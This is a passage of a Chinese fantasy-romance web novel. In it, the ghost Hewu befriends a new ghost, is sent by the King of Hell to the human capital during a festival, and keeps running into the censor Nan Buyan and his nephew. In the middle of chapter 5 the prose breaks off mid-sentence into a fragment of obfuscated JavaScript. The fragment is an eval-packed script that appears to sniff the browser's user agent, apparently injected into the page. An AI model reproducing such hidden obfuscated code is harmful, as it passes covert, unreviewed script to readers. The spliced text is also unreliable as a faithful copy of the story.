就在前几天,刚有三个调皮小鬼不仅溜到她屋里偷喝了她私藏很久的酒,还把她摆在桌上的,用来记录人间花草的地图画得满是涂鸦,气得她那是当场就给那三个小鬼屁股一人来了三下。 “还敢来,看来是上次屁股还不够火热呀。”合芜嘟囔着,将手里的栗子和花枝交到栖桐手里,随后放轻了脚步。 “当心些。” 她悄悄拿起木屋外放着的苕帚,小心翼翼靠近屋门,准备一开门,就给对方一记“教训”。 轻手轻脚地握住蘑居木门上的门把手,合芜猛地一推开。 “不许动——” 4. 烽烟烬里故人归(三) “啊!!!” 合芜刚打开门,迎面就扑来震天响的尖叫声,直叫得她两只耳朵发疼,伴着这尖声的叫喊,对面还向她扔来许多杂七杂八的东西。 一时间不明所以,合芜也就跟着大叫起来,边躲着,她还将手里的苕帚向前一扔,随后又随手抓个几把门后的瓶瓶罐罐向前扔去。 这门后放的都是合芜从各个地方挖来的泥土,各种土混在一起,把那人的眼睛给迷了。 “啊!”魔法打败魔法,尖叫反击尖叫,合芜跟着一起叫了起来。 哪里知道对面那登堂入室之人反倒疑惑道:“你叫什么!” “你又叫什么!!!”见那人不再动作,合芜也停下手,这要是再砸下去,她的蘑居就废了。 等到一切都静止下来,合芜才看清眼前的一切,一片狼藉之中,一个穿着一袭红色长衫的女鬼正在她的房子中央,那人面容姣好,一对丹凤眼末梢向上吊着,白白的香粉,红红的胭脂,连唇上的口脂也像是新点上的。 “你是——”两人一齐问道。 合芜理理自己的褂子,一脸生气道:“我是这房子的主人。” “这房子还有主人?”那人道。 “你这话是何意?” “我以为这房子外头布满苔藓,里头也是些土泥花草枝桠,凌乱不堪,想来定是没有人住的,没想到……”那人慢慢说道,还上下打量一下合芜,“竟还是个小娘子住着。” “……”合芜被这话噎住,这人说的是事实,她也反驳不了什么。 那人说话带着一种特有的调子,好似下一瞬就会唱起来。 但见那人没有坏意,合芜道:“你是地府新来的鬼?之前在地府没有见过你。”实则不然,合芜推测她是新鬼的原因并非如此,而是这人竟然不认识自己,也不知道她这大名鼎鼎的蘑居,但第一次认识还是谦虚点的好。 “我乃戏痴红,曾是一名戏子。”戏痴红道,“你呢。” “我唤合芜。” 戏痴红睁大眼:“你就是合芜,那个在阎王殿里幻化成形,偷过曼殊沙华,乱喝过孟婆汤,还把忘川里的恶魂揪出来乱打的那个?” “那个……是我。”合芜抿嘴,“记住前面半句就好,后面的不重要。” 态度一百八十度大反转,戏痴红呲溜一下窜到合芜面前,目露惊艳,围着他绕了好几圈,将她上上下下重新打量了一番。 “如此看来,却是不凡。” “阿芜,如何了,需要我帮忙吗?”屋外传来栖桐的声音,随后,人便站在了门口,合芜的身后。 合芜摆摆手:“无事,就是个误会。” 戏痴红见到这突然出现的玉树临风,与这周围环境截然不同的身影,只呆楞了一瞬就明白了过来这人是谁。 “你,你就是那个稀奇古怪的,一定要待在鬼界的天界散仙栖桐上神!”她满脸艳羡。 栖桐没有说话,只是默默站在合芜的身后,眼神冷得像是一块冰。 戏痴红被这眼神看得直发怵,额间冒着冷汗,向后退了一步:“呃……” “嗯?”合芜见戏痴红害怕的表情,“这位就是栖桐上神,他人很好的。” 她说着就回头看向栖桐,入目的便是一双温温柔柔如同三月春风般的眼神。 “我帮你收拾。”栖桐柔柔地收回目光,挥挥衣袖,地上的狼藉一扫而空,破碎的瓶罐恢复如初,按照品类归分好,整齐地码在架子上,比一开始还要干净整洁。 合芜看着戏痴红,笑道:“你看,我就说他人很好吧。” 大姐,这人就只对你好吧!戏痴红面上堆着笑,心里不禁吐槽。她现在只想跑。 戏痴红往门口挪了几步,道:“既然误会解除了,那我就先走了。” “慢走。”栖桐笑道。 戏痴红刚踏出蘑居的门半步,就觉得自己的长褂子被人拽住了。 “等等呀,你是不是还没有住处?”合芜关心道,手里紧紧攥着戏痴红的长褂子,一副不愿意松手的样子,“你刚来鬼市子肯定是没有地方住的,要不就先住在我这?反正我这就我一个人住,平日里也时常冷清,多一个人也热闹。” 合芜知道刚成为鬼,没有现成的地方住,她见戏痴红就是一个伶人,想来也是不会什么盖房子的手艺,现在赶她出去定是要露宿街头一段时间。 “这……”戏痴红先看栖桐上神的脸色。脸色不对,快跑。 “哎别走。”合芜死不放手,不打不相识,她喜欢戏痴红的性格,只觉得投缘,这个朋友她交定了。 “阿芜,你这蘑居就这么小,再说了两个人住也不方便,要不到时候我给这姑娘找一个住处。”栖桐轻轻将手放在合芜的肩膀上。 合芜道:“那怎么来的及,虽说我这住处是小了点,但是小红也是个姑娘,年龄嘛看着也与我相仿,谈何不方便,我觉着很合适。” 她说着,就揽过戏痴红的胳膊,带着人在蘑居转了起来:“你看这是我做吃食的地方,这里是晚上就寝的地方,还有这里……” 戏痴红被合芜拉着,还不忘回头看一眼栖桐上神的眼色,下一秒就又被那眼神吓得直冒冷汗,匆匆跟上合芜的脚步,长衫下两只裹着足的脚还打着颤。 栖桐就站在屋子的中央,静静地看着合芜雀跃的小背影,看着她松散的辫子在身后一晃一晃,默默收回方才放在合芜肩头的那只手,另一只手里还紧紧攥着那海棠枝和那袋栗子。 半晌,见合芜的注意力一直聚在戏痴红的身上,才苦笑一声,道:“阿芜,那这花枝我替你在琉璃瓶里装好,这袋炒栗也放在桌上,天界还有事,我就先走了。” “嗯嗯好。”合芜的声音从隔壁卧房传来,隔着屋门闷闷的,“谢谢你栖桐,等到时候你有空了,再到我这来找我玩呀!” “嗯……好。” 听到外头大门关上的声音,戏痴红才彻底放松下来,半瘫着身子躺在方才和合芜一起拼起来的大床上。 “小红你好似很害怕栖桐?”合芜哪壶不开提哪壶。 只见戏痴红刚眯上的眼睛嗖得瞪大,道:“没没有,这就是对上神的一种敬畏,对,敬畏。” “你叫我,小红?” “嗯,总是戏痴红、戏痴红叫着的,就像是一种代号,这才不是名字,听着也觉得不好听,名字是要注入感情的,我没读过什么书,取不了好听的名字,但见你如此这般喜欢红色,以后就叫你小红啦。” “小红,这名字不错,我也喜欢。”戏痴红倒害羞了起来,这个在鬼市子里人人暗叫皮猴子的合芜比传言里简直好相处太多了。 她犹豫片刻,还是忍不住问道:“合芜,你与那栖桐上神到底是什么关系啊?” 合芜不明所以:“栖桐?我们就是朋友呀。” “朋友?他可是天界的神,就算是个散仙,但能称得上‘上神’的可是不得了。你别认为我刚成为鬼什么都不懂,捕风捉影什么的我最在行了,这几日在鬼市子晃荡,我都打听清楚了,那栖桐上神只要在鬼市子,就是在你身边,我原想着这合芜定是个美艳绝伦的女鬼,又或是有什么一技之长能够吸引住那栖桐上神,没想到……”戏痴红不说了。 “我……有一个有趣的灵魂。” “……哇哦。” 正说着,合芜觉得腰间布袋里有什么东西在不停晃动着,想要挣脱出来,下一秒只听那布袋上的搭扣“咔哒”一声,那本簿子飞了出来,被合芜接住。 合芜面露不悦,道:“不会吧,本姑娘这才刚回来,下一个任务就来了?好你个阎王老子,压榨人也不是这样子压榨的吧。” “呃,是鬼。”戏痴红好心提醒道。 “……” 戏痴红好奇打量着合芜手里的那簿子,问道:“这是什么东西?” 合芜哗啦啦地翻开簿子,在最后那一页停下,雪白的纸页上跃出几股黑亮的墨水,在纸面上游来游去,最后逐渐成型,化为一行字。 合芜眯眼,细细念着: “南, “不, “宴。” “南不宴?什么东西?”戏痴红挠头。 合芜一拍脑门:“南不宴!” * 京州平日里街市就繁华得紧,更别说今日正巧赶上个戏月节,戏月节乃京州开国以来便有的节日,“戏月悬清影,分辉照夜庭。拈光题素扇,逐兔入空青。”说的正是这戏月节。 暮色刚刚漫过京州的护城河,大街就被盏盏花灯缀成星河。街上多是卖花灯的小贩,推着辆辆灯车,戏月节最时兴的花灯款式就是兔子灯,挤着挨着,红眼睛里的烛火晃晃悠悠的,引得孩童追着灯车跑。 往街心走,更加热闹。 吟咏诗文,投壶饮酒,素扇题诗应有尽有。 合芜在街上走着,那是眼花缭乱,一双眼睛都不够她看的,换作往常,她可没有机会在这个时候来到人界,心里一开始对阎王老子的编排自然少了点。 方才在那阎王殿里。 …… “喂喂喂,阎王老子!我这刚从人界回来,屁股都还没有坐热,你就给我安排事做,知不知道这样会累死的啊!” 合芜在看到那簿子上的字迹后,第一时间就到了阎王殿,和黑白无常磨了好久的嘴皮子,顺利出现在阎王老子的面前,开始“撒泼打滚”。 阎王闻言,淡道:“不会死,再累都死不了第二遍。” 合芜道:“这是重点吗,重点难道不应该是我很累,需要放假吗!” “非也,非也,”阎王抬头,打量了一下合芜继续道,“我这都是为你好,你看你这簿子就剩最后一页了,等这页完成,不就完事了,之后呀你想去哪里玩就去哪里玩,阎王我再也不会管你了,正巧今日也是人界的戏月节,你去玩玩也不算我亏待你,再说了,只要你完成了,我之前答应你的条件……” 阎王向四周看看,故作神秘,掩着嘴说道:“会给你投个好胎的。” 合芜闻言,耳朵一激灵,故作不在意:“谁稀罕这个……作数?” “作数作数。” “……那行。” …… 合芜晃荡着,身上的穿着与这繁华的京州多少有些格格不入,街市上的少男少女皆身着华服,如此节日,世家公子小姐上街游玩,锦衣华服那是一抓一大把,云锦纱、绫罗缎、胭脂香、珠玉脆,合芜的暗绿短褂,红色灯笼裤再一次让她淹没在人山人海里。 可京州里的小摊小贩才不会看人下菜碟,甭管高低贵贱,只要有钱他们就赚,只要是个人他们就招揽。 合芜路过一个卖松子糖的小摊,本来只是想驻足闻闻那松子糖的甜香气,但只是这微微的停顿,就被那店家瞅见了。 掌柜的热情打招呼,道:“姑娘瞧着面生,是第一次来京州过戏月节吧?那你可千万不能错过了这松子糖,我这的松子糖可是人人称赞的,姑娘只管去街市上问问,只要吃了一回,保管你想吃第二回,姑娘可要买点尝尝?” “我就不用了,牙不好。”拒绝别人的话是最难说出口的,合芜只得胡乱找了个借口。 那掌柜明显一副不相信的样子,继续殷勤道:“咳,姑娘说笑了,豆蔻年华,怎会牙口不好啊,我观姑娘长得如此水灵,相由心生,姑娘定是心地善良,我再看姑娘这眉眼宛如山水之画,令人观之心神随之荡漾啊,只要姑娘尝尝我这松子糖,我保证姑娘你今后唇齿留香,更加美丽动人,沉鱼落雁,闭月羞花……” 掌柜一讲起来就滔滔不绝,只叫合芜听得晕乎乎的,最后实在是招架不住,合芜败下阵来,掏出腰间的荷包。 “掌柜的,那这松子糖怎么卖?” 掌柜笑嘻嘻道:“不贵,十钱一颗!” “多少?!”合芜数钱的手顿住。 糖价也不过一钱一两,松子大可以去山上采,这指甲盖一般大的松子糖,竟然十钱一颗? “你抢钱啊!”合芜捂住荷包。 掌柜忙道:“话不是这么说的姑娘,我见你面生,想来京州待客之道还给你算便宜了点,还是说,姑娘拿不出银钱,才这般——” “谁说本姑娘拿不出钱的?”合芜说着,神气地将自己的荷包放在桌板上,那荷包用黑色布料制成,上头还绣着一朵彼岸花,只是图案粗糙,针脚也不细,一看就知道出自谁之手。 “哟,是小的有眼不识泰山,怠慢了姑娘。”掌柜瞧见那慢慢一袋铜钱晓得合不拢嘴,“那姑娘要多少,小的给你装起来。” “那就……就……”合芜斟酌着。 两人正掰扯着,只见一双小手悄悄伸向那桌上的松子糖,指尖一抓,带出一大把。 掌柜的眼尖,立马瞅见,大声地嚷 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“我就是没偷,我阿耶都说了,京州里有商人哄抬物价,这些人都是要整治的,我这就只是趁他们被整治之前,先拿点吃吃,免得浪费。”小豆丁昂着个小脸道。 合芜翘起嘴哼一声,道:“哦呦呦,小豆丁偷东西还有理了。”语罢,她看着面前这个豆丁,他衣着整齐,衣襟袖口处还缝着金丝线,一看就不是平常人家的小孩。 “就算你阿耶厉害,偷东西就是不对的,怎么,你阿耶阿娘没同你说过?”合芜道,看着小豆丁,摆出一副饶有架势的模样,还不忘损上一句,“笨笨的。” “我笨?”小男娃撅着小嘴,眼睛大大的,“大姐姐,你知不知道方才那松子糖十钱一颗,我笨?是谁连荷包都掏出来了?你才是真笨。” 合芜还没见过比自己口齿更伶俐的人,一脸赏识地打量着这个小娃娃。 “小豆丁,年纪不大,口齿挺伶俐呀,但是不管怎么说,也不管你阿耶阿娘如何说,现如今这商贾还未被整治,怎么样,和姐姐我回去道歉。”说完,合芜也不管那小豆丁做何反应,直接将人抱起来,紧紧搂住,令其只能像条毛毛虫一样扭来扭去,毫无还手之力。 合芜掉头往回走,怕小豆丁乱叫,还偷偷用法术将小豆丁的小嘴封住,只能把发出听不太清的“呜呜”声。 “呜呜!” “不放。” “呜呜呜!” “讨价还价,没门。” “呜!” “反抗无效。” 那小豆丁一开始还不断挣扎着,但渐渐不再动弹,一副一了百了的模样,只是用小手指点着合芜的后背。 “干什么,愿意和大姐姐乖乖回去道歉了?” 小豆丁点点脑袋。 合芜见他不像是撒谎,将他嘴上的封术解开。 “大姐姐,你会法术?是你把我的嘴封住的吗?”刚能说话,小豆丁就急忙压低声音问道,那语气里满是崇拜与焦急,“我舅舅没有骗我,这世上真的有法术,真的有神仙!大姐姐你是神仙吗?神仙都像你这样吗?神仙吃什么,睡哪里,平时干点什么……” 他一路上问个不停,合芜耳朵边上环绕着小豆丁的各种询问,最后无可奈何地恐吓道:“喂,你阿娘有说你话密吗,看在你还是个小娃娃的份上你的记忆呢我就不消除了,反正你长大之后肯定会忘,不过你要是问题再这么多,我就再把你嘴封起来哦。” 小豆丁立马噤声。 再过一个拐角,就是方才那卖松子糖的铺面了。 只见那小豆丁晃晃脑袋,又开始说道:“大姐姐你要我去道歉,但是道歉总要有对象才可以吧。” 合芜不知他这话是何意,问道:“什么意思?小豆丁不要打哑谜。” “我们打个赌,我赌那商贩早就跑了!” “不可能,我钱袋子还放在他那呢,而且掌柜的说了会等我回来的。” “大姐姐,你好天真啊。”小豆丁撅着嘴。 合芜半信半疑,拐过路口。 “呼——”一阵微风,将街边的落叶吹过来,恰恰好落在方才那铺面所在的空位。 合芜:“……我去人呢!” 她将小豆丁放下,绕着那个空位转了好几圈,想着四周张望好久,也不见那掌柜半点身影。 “我的钱袋子!!!” 这回换小豆丁神气了,他晃悠到合芜腿边拍着她的手:“怎么样大姐姐你认输吗?” 正当合芜对她的钱袋子心疼不已的时候—— 等等,这小豆丁不是说他阿耶能整治京州的商贩吗? “咳咳。”合芜尴尬清嗓,脸颊微红,“小豆丁,你阿耶是谁,可以……可以帮大姐姐找回钱袋子吗。” 小豆丁闻言眼睛一亮:“我阿耶!我阿耶可是左都御史——” “——小公子!” 远处一声声的呼喊打断了小豆丁的介绍,合芜顺着声音传来的方向望去。 “小公子!小公子在这!”远处一波人在人群中向着这边赶来,个个穿着利落的制服,腰间还配着刀。 街市上游街的人群识趣地向两边散开,在队伍的最后,还有一人。 深蓝色锦袍裹着挺拔身形,衣料挺括,领口与袖口绣着墨色云纹。他走得不算快,却每一步都稳得像踏在人心尖上。那人下颌线绷得极紧,线条冷硬如刀削,连侧脸的轮廓都透着疏离,薄唇抿成一条直线,没有半分弧度,最慑人的是那双眼睛,深黑如寒潭,没有半点光。 明明走在喧闹的市集中,他却像独自立在寒峰上,连风掠过他的衣袍,都像是放慢了速度。 “是南都堂!”人群中有人喊出声。 有人惊叹道:“南将军?好久未曾见到他出现在街市上了。” “什么南将军,南都堂早在两年前就已经辞去将军一职,如今已是左都御史了。” “哦对对对,看我这记性都忘了。” 人群熙攘着,小豆丁向着那人拔腿跑过去,合芜听着周围百姓七嘴八舌的交流声直接愣在了原地。 她颤着嗓子开口,那声音都稳不住:“小豆丁……你阿耶是……南不宴!!!” 这也太巧了吧! 5. 烽烟烬里故人归(四) 黄昏后,左都御史府。 南不宴坐在书房里,翻阅着今日各地呈报上的杂事。 今日是戏月节,坐在书房里能隐约听见街上传来的闹市声响。 平日里这个时辰,不会有人来打扰,可今日不同,外头传来急促的脚步声,下一秒,书房的门被人撞开。 身着华服的少年,手里提着一盏花灯,摇晃着迈进书房,那人随手将亮得刺眼的花灯放在书桌上,笑得直不起腰,连带着说话的声音都发着颤:“不宴!你一定不知道我方才在街上都听到了什么!哈哈哈哈哈!” 南不宴眼一眯,将手中看完的废旧纸张揉成一团,一挥手扔到那人身上,语气无奈道:“冯原,你人能不能正常一点。” “哎,你这人真是越发无趣了,就不想知道我在街上听到了什么?” “不想,你还有你的灯,现在立刻,从我的书房里消失。” “真是无情又无趣。”冯原从一旁拖来一把椅子,坐在南不宴的对面,他伸手点了点桌上的花灯,“怎么样,好看吧?” 南不宴瞥了一眼:“一个大男人买什么花灯。” “这你就不懂了吧,我这花灯可不是为自己买的。” “又看上哪户人家的姑娘了,离人家远点,要不然到时候状告你的告文又要送到京州少尹那里了。” 冯原摆手:“你少拿我姐和姐夫来制我。” 冯原的阿姐冯春和是京州有名的大家闺秀,琴棋书画样样精通,父亲乃是当朝太傅,因皇帝已是加冠有余不用再日日前往宫里教书,便“挂帅”于弘文馆,倒也是落得一个清闲。 可这才高八斗的冯太傅却偏偏压制不住他这个令人头大的儿子。冯原幼时就喜欢一些神神叨叨的东西,卜卦祭祀,星算天文,乐此不疲。到了入朝为官的年纪,又瞒着家里人去考了那钦天监,被冯太傅好一顿骂。 时间久了,这事情本告一段落,谁知道冯原竟然在冯春和与京州少尹李景明成亲时就地卜卦,直接被冯太傅赶出家门,他又懒得去找住处,说是在左都御史府暂住,时间久了便直接长住了下来。 南不宴幼时失去双亲,自小就袭了父亲的武安爵位,认父亲挚友冯太傅为义父,与冯原一同长大,当年山岭少年快意骑射,已经不知道是何时的光景。 “他们不知道,你还不知道我吗,我只与那些姑娘品茗赏曲,其他的绝对没有。”冯原道。 南不宴淡淡道:“方才要说什么,说完就赶紧离开,外头那般热闹都留不住你。” “哦对!”冯原一拍脑门,神色兴奋道,“我在游街的时候偶遇到几位还算熟识的小娘子,她们知道我与你相熟,打听你的事情来着。” 南不宴没什么反应,冯原也不吃瘪,继续道:“邻里都传遍了,说左都御史,说你……噗嗤——”冯原忍不住笑出声。 “有话快说。” “说你喜欢男子!哈哈哈哈哈!” 南不宴的手一顿,嘴角一抽:“……哪里来的传言。” “也不知道何时传起来的,只知道今日大街上的姑娘们都知道此事,这外头都传成这样了,咱们的南都堂有没有什么话要说啊?”冯原一副看好戏的表情。 南不宴还是无所谓的样子:“空穴来风,指定又是靠着巧舌谋生的人传出的谣言,左右奈何不了什么,过段时间就散了不用在意。” “不用在意?!南不宴你还真是坐的住。不过话说回来啊,你这么一直待在府里也不是个事儿,出门就是进宫,也不上街也不再去骑马射箭,这两年你就这么耗着,我觉着这样不行,我上次不是给你卜过一卦,你就是要多出去走走才能遇到机缘,你不要觉得我这不靠谱,虽然没灵验几次,但是相信总比不相信强,你总不能把自己的一辈子都耗在崔阿嫂——”冯原意识到说错话了,立马噤声。 南不宴脸色一变:“若无他事,和恒儿一起玩去,不要再进我的书房。” “哦哦,不说了不说了。”冯原赶忙站起身拿起桌上的花灯,缩着脖子连退几步,转身就要跑出书房,可突然,冯原在门口停住,缓缓转过身来。 “还有什么事。”南不宴头也不抬。 冯原手中的花灯啪嗒一声掉落在地上:“完了,恒儿丢了!” 南不宴噌的一下站起身:“什么?” “方才我带着恒儿一同去戏月节的街市上,结果听到那传言想着赶紧回来先告知于你,一时间,忘了恒儿了。” “你真的是……”南不宴放下手中的笔纸,起身出了书房。 “完了完了,我姐和姐夫出京州办事去了,他们把恒儿扔给我,要是知道恒儿被我搞丢了一定不会放过我的!”冯原欲哭无泪,紧紧跟在南不宴身后叨叨着,“不宴你一定要帮帮我,不能见死不救啊!我们虽不是亲兄弟,但是你在我心里可是比亲兄弟还亲!” “莫要聒噪,我自会派人找的。”南不宴揉着太阳穴。 两人急急忙忙出了左都御史府,南不宴召集人手,向着那街上找寻起来。一路上问左问右,逢人就问是否有见到一个五岁孩童身着锦衣,大概只到人膝头高。有人说见过,却也只是指着那街市中央的方向,说是往那河对岸过去了。 范围还是很大,整个京州沿河的地方都找遍了,也不见恒儿的影子,冯原那是哭爹喊娘,最后直接从袖子里掏出来一圆盘,开始测算起方位来。 “不宴你看啊,我觉着恒儿不在河边,这圆盘指示为东,为震卦,是以为木,难道说恒儿已经跑出城外去了?那不行啊,城外不远就是山林,到处种满高高的松柏,这要是恒儿真的跑到那里去,月黑风高的怎么找得到人啊。”冯原指着圆盘上的卦象向南不宴解释,“哎不对,这看着还有点土,哎呀怎么这么乱。” “别摆弄你的破盘子了。” “这可不是破盘子,这可是我的金卦盘。”冯原边说着边用袖子把那圆盘擦了擦。 “行,能当饭吃的金卦盘。”南不宴浅浅笑道,听着手下的汇报脸色一变,揪住冯原就走,“快,有人说在城东的集市看到过个五岁穿锦衣的孩童,但是听那人说那孩童身边还有一位穿暗色衣裳的姑娘,两人看着不似母子不似姐弟,现在还不能判断那孩童是否是恒儿,先去看看。” “好嘞!”一听说恒儿有消息了,冯原立马打起精神,收好圆盘跟上南不宴。 众人往城东赶去,远远就在“甘饴弄”见到一个小小的身影,围着另一个身影打着转。 “恒儿!”冯原一眼认出那街边蹦跳着的外甥,着急忙慌地跑过去。 那小豆丁见到冯原,脸上的表情更加开怀:“舅舅!”小豆丁扑进冯原的怀里。 “舅舅?”合芜观望着面前突然出现的乌泱泱的一大群人,里三层外三层地将他们围在中间,嘴里嘀咕着。 “这个是舅舅,那边上那个就是……”合芜望向站立在一旁看着二人的南不宴,默默咽下一口气,悄声尖叫道,“南不宴什么时候有孩子了,这簿子里也没写啊!” 她这是该走还是不该走,说巧不巧,这正好碰见了南不宴,机会难得,但是现在这情形,怎么看都不像是个吓人的好机会,一时间信息量有点大,合芜震惊之余难以消化,默默后退一步。 看来,她还得回去慢慢琢磨琢磨这南不宴究竟所害怕的是何物,这回任务与以往的皆不相同, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可是合芜低估了河水的宽度,人已经开始下落了,还离对岸有好大一段距离。就在她以为要掉进冰冷的河水里时,突然被一股有力的力道拽住,整个人撞进一个坚硬的怀抱里,合芜紧紧伸手抱住那人的腰,就怕下手太轻自己会掉进水里,她听到那人微不可察得闷哼了一声,心里那叫一个连连抱歉。 直到双脚着地,合芜才敢睁开眼,一仰起头,南不宴的帅脸就闯进了视线。 要放在以往,这样的面容合芜定是要瞧上一会儿,但是现在情况不允许啊。 南不宴用轻功飞到对岸,正稳稳抱着她,眉头却皱得不行,眼底满是不耐:“慌什么?” 合芜还没来得及松口气,转身逃跑,就感觉胸口一阵发烫,像是有什么东西被扯了出来,紧接着脑袋一阵昏沉,眼前的景象开始打转。 这是怎么回事?! 她下意识紧紧抱住南不宴的腰,手指还攥住了他腰间的玉带,嘴里含糊地嘟囔:“我……”话没说完,就眼前一黑晕了过去。 南不宴僵在原地,低头看着怀里昏过去的人,可下一秒,那人竟然凭空消失,化为无数细碎的星点,那星点带出的光亮在空中飘荡着,最后融入他腰间的玉带,彻底消失不见。 “不宴!不宴!你跑的也太快了!”冯原气喘吁吁地纵身跃过河水,叉着腰在南不宴身边站稳,他拍拍胸脯,缓过气息这才仔细打量起周围,疑惑道,“咦?方才那逃跑的人牙子呢,人怎么不见了?”说完,他还左右转了一圈,就是不见合芜的身影。 南不宴的手还保持着方才紧捉着合芜的姿势,愣着,难以置信地盯着自己空荡荡的身侧,手指微微捻动,他方才明明抓到人了,这人怎会凭空消失。 6. 烽烟烬里故人归(五) 左都御史府里点着灯笼,照得满院子敞亮,婢女们将水烧热后,用铜盆装着进进出出,随后端着多出的热水出了南都堂的院子,院落两侧的兰花树剪裁的整整齐齐,除此之外,还有山茶、月季、连翘等花草。 一位新来的婢女端着剩下半盆热水,随着队伍从院中走过,不懂这里的规矩,准备抬手将手里的热水就地倒在花丛中。 “别倒!”领头的婢女压低声音呵斥道。 那倒水的婢女手下一抖,但好在稳住手里的铜盆,这才没有倒出水来。 “这剩余的热水不能倒在院子里吗?” “没人跟你说吗,崔姑娘喜欢花草,都堂亲手种了满院的花草给崔姑娘,可如今崔姑娘不在了,都堂也还是日日侍弄这些花草,你今日这盆热水下去,不知道会烧掉多少株根系,虽说都堂许是不会跟你计较也不会说道什么,但日后这左都御史你定是待不下去的。以后做事小心些,事事三思,别再马虎犯错了。”领头婢女解释道,随后带着一对人赶紧离开了主院。 屋内隔间,水汽旖旎,蒸得满屋子雾蒙蒙的。浓郁的水汽漫过浴桶边缘,在地上晕开一圈湿痕。 南不宴靠在桶沿,指尖漫不经心地划着水面,温热的水裹着身子,却没驱散他心头的纷乱。屏风外的置衣架上,深蓝色锦袍叠得齐整,腰间玉带静静搭着。 他如今满脑子都是河边的画面,那姑娘尖叫着跳进河里,还有那声含糊的“我”,最后又在他怀中凭空消失,到底是怎么一回事。他活了这么多年,上过沙场,识过悬案,见过的事情不少,却从没遇过这般离奇的事,思绪缠绕着,被这诡异的事情搅得乱七八糟。 还有一事,在甘饴弄恒儿说谎了,南不宴可以看出。但他为何说谎,难道就是为了留下那个姑娘? 正思虑着,只听屏风外传来“咚”得一声轻响,随后传来衣料摩挲的沙沙声。 南不宴猛地回神,手下意识摸向桶边的佩剑,目光锐利地扫向屏风方向,屏息盯着屏风后。一道身影突然从屏风后闪出来,合芜摇摇晃晃的,头发凌乱,衣衫皱巴巴的。 甘饴弄河边一昏过去,合芜像是睡了一觉,能记起的记忆,最早的就是被南不宴捉住,再之后的什么都想不起来了。 她现在不光脑子发懵,身上也因为方才毫无防备地摔在地上而痛得不行,合芜揉揉手肘,扭扭腰,站稳后定睛环视四周。 这屋子里陈设讲究,但是摆放的东西并不多,屋子宽敞,在屋子的另一头摆放着一张床,第一眼,合芜以为这是一间卧房,但是再仔细看看,这屋子里还放着一张简易的书桌,桌上堆着簿子,再边上还摆着一张小桌,看着应当是用膳所用,这么一看这间屋子的主人还挺忙碌的,在哪里都要处理事物,用膳也常在屋里解决。 身后传来细微的声响,合芜觉得身后传来股股热气,便转过身看了看。 入目的是一面屏风,屋子里点着灯,灯光照过半透的屏风可以隐约看见屏风后放着东西,但是看不清楚。 合芜好奇地绕过屏风,但下一秒,她僵在原地,要是知道这屏风后面是如何光景,她绝对不会好奇地绕过屏风。 映入眼帘的,是热气腾腾的浴桶,水里的男人,还有他裸露的肩头和颈侧的水珠。 水面漫过那人的胸脯,但仍能看出那人宽肩窄腰,定是常年习武,乌发散着,垂在背后被水沾湿,再下面的……再下面的合芜也不敢看了。 合芜瞬间瞪大眼,刚要尖叫,视线往上一抬,就对上了那人震惊的目光。 南不宴。 合芜不自觉地抿了抿嘴。 两人大眼瞪小眼,都怔愣了片刻,空气里出了水雾,还透着一股诡异的寂静。 南不宴喉结动了动,率先出声,原本冷硬的脸色微变,握着佩剑的手都顿了顿:“你……” 合芜回过神,脸瞬间红到耳根,她虽然是鬼,但是这阵仗真的是第一次见,羞耻之心还是有的。非礼勿视,非礼勿视!她转身就想跑,却忘了身后是屏风,“咚”的一下额头撞在屏风上,捂住额头踉跄着退了两步,隔间的空间本就狭小,这一退,合芜没想到直接撞到了浴桶,惯性使然,上半身一仰,就要摔进浴桶里。 “哎——” 南不宴眼疾手快,持着佩剑的手一举,剑柄抵在合芜的背后,向上一推,将她推到了一边。 “哎呦喂!” 合芜吧唧一下又贴在了屏风上,惊魂未定站稳脚,南不宴从浴桶中跨出,伸手一把扯过衣架上挂着的外衣,披在身上。 只听身后“锵”一声,剑出鞘,待到合芜回过头,锋利的剑已经架在了她的脖子上。 脖颈间凉嗖嗖的,合芜的寒毛不争气地竖起来,心里直呼完蛋。 “这位大哥,哦不对,左都堂有话好好说,不要动刀子呀!刀剑无眼,伤及无辜就不好了不是?”合芜使劲眨着眼,面上一脸谄媚,心里却在犯着嘀咕,小样要不是现在不能动用术法,看我不整你一番,壮士报仇十年不晚,我合芜虽没有十年可以等但是十天还是等的起的,南不宴你且等着吧。 合芜说完见南不宴面色难以捉摸但却并未开口,以为他同意,便小心翼翼伸出手捏住刀背,正欲将他的剑移开。 “别动!” “哎好好好!” 南不宴低声呵道,手下并未放松,反而手指用力,将剑刃往合芜的脖颈处靠近几分。 合芜急忙颤着声答应,放下手不敢再说话。 南不宴沉默片刻后,语气冷硬道:“我问什么,你答便好,其余的废话本都堂一律不想听到。” 合芜点头如捣蒜。 “你是何人?” “我名叫合芜。” “与恒儿扯上关系,意欲何为?” “恒儿?哦就是那个小豆丁啊,我没有故意同小豆丁扯上关系,是他悄悄跑去偷小铺的松子糖被我抓住,我是想让他去同那铺子的掌柜道个歉。” 南不宴抿唇不语,上月恒儿换牙,冯原阿姐禁了恒儿的零嘴,这上街偷糖吃的事确实像是恒儿能够做出来的。但只听一面之词向来不是南不宴的作风,更何况合芜还是他现在所怀疑的人。 合芜见他半天不说话,害怕他不信,试探道:“都堂大人若是不信,我可以带你去找今日街上卖松子糖的掌柜,若是经他人之口证实,我是不是便能消了这人牙子的帽子了?” 南不宴沉默良久,终是缓缓开口:“你……不是人。” 合芜:“……” 不是,好端端的怎么还骂人呢?可仔细想来南不宴问的好像也没错,但是这话让她如何接。 “方才在河边你是如何消失的,去了哪里,又为什么会出现在本都堂的卧房里。”南不宴冷声追问。 “我……” 阎王老子有告诉过合芜这最后一次任务相比于以往有些不同,至于哪里不太一样,他也没有细说,只是提醒她这次会花上一些时间,以及到了万不得已的时候,可以把自己的身份适当地透露出一点。 一开始合芜是不相信的,区区一个小凡人能厉害到什么地步?值得她屈尊降贵告诉他自己的身份?但合芜万万没想到的是,仅仅是第一次见面,就已经把她折腾的不行,还发生了让她都无法理解的事情。 